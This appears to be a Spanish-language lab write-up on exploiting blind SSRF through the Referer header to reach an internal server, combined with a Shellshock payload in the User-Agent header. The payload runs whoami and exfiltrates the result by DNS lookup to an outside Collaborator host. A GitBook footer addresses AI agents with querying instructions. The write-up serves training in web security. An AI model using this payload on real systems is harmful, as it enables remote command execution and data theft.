> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/ssrf/blind-ssrf-exploited-via-shellshock.md).

# SSRF ciega explotada mediante Shellshock

### SSRF ciego con explotación de Shellshock

Este sitio utiliza un módulo de análisis que recupera la URL proporcionada en el encabezado **Referer** cada vez que se visita una página de producto. / Para resolver el laboratorio, debes desviar esta funcionalidad para realizar un ataque ciego **SSRF** a un servidor interno ubicado en el rango **192.168.0.X** en el puerto **8080**. / Durante un ataque ciego, un payload **Shellshock** debe inyectarse para exfiltrar el nombre de usuario del sistema.

#### Observación inicial

Cuando se visita una página de producto, el sitio sí envía una solicitud basada en el encabezado **Referer**:

```
Referer: https://uki6j3wedmsljxlwoclacsdxtozhn7bw.oastify.com/
```

Esto confirma que la aplicación contacta automáticamente con la URL proporcionada en este encabezado.

<figure><img src="/files/1738d704c1c1a95b572220910c768754a2272c3c" alt=""><figcaption></figcaption></figure>

#### Explotación mediante SSRF ciego

El objetivo es forzar a la aplicación a contactar a un host interno:

```
Referer: http://192.168.X:8080
```

Dado que el servicio interno es vulnerable a **Shellshock**, se inyecta un payload en el encabezado **User-Agent** que será interpretado por el servidor objetivo.

El payload ejecuta un comando para exfiltrar el `whoami` resultado mediante una solicitud DNS enviada a **Burp Collaborator**:

```bash
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).isep8p4f4itsik7zvx76ataoyf47sygn.oastify.com
```

<figure><img src="/files/9008544b501e6b2372d7c9a39255571032161cbb" alt=""><figcaption></figcaption></figure>

#### Resultado

Aparece una consulta DNS en el lado de Collaborator, que contiene el nombre de usuario del sistema. / En este caso, el usuario devuelto es:

<figure><img src="/files/eb155b877340705498be279efe6aacb3763dbacd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/ssrf/blind-ssrf-exploited-via-shellshock.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
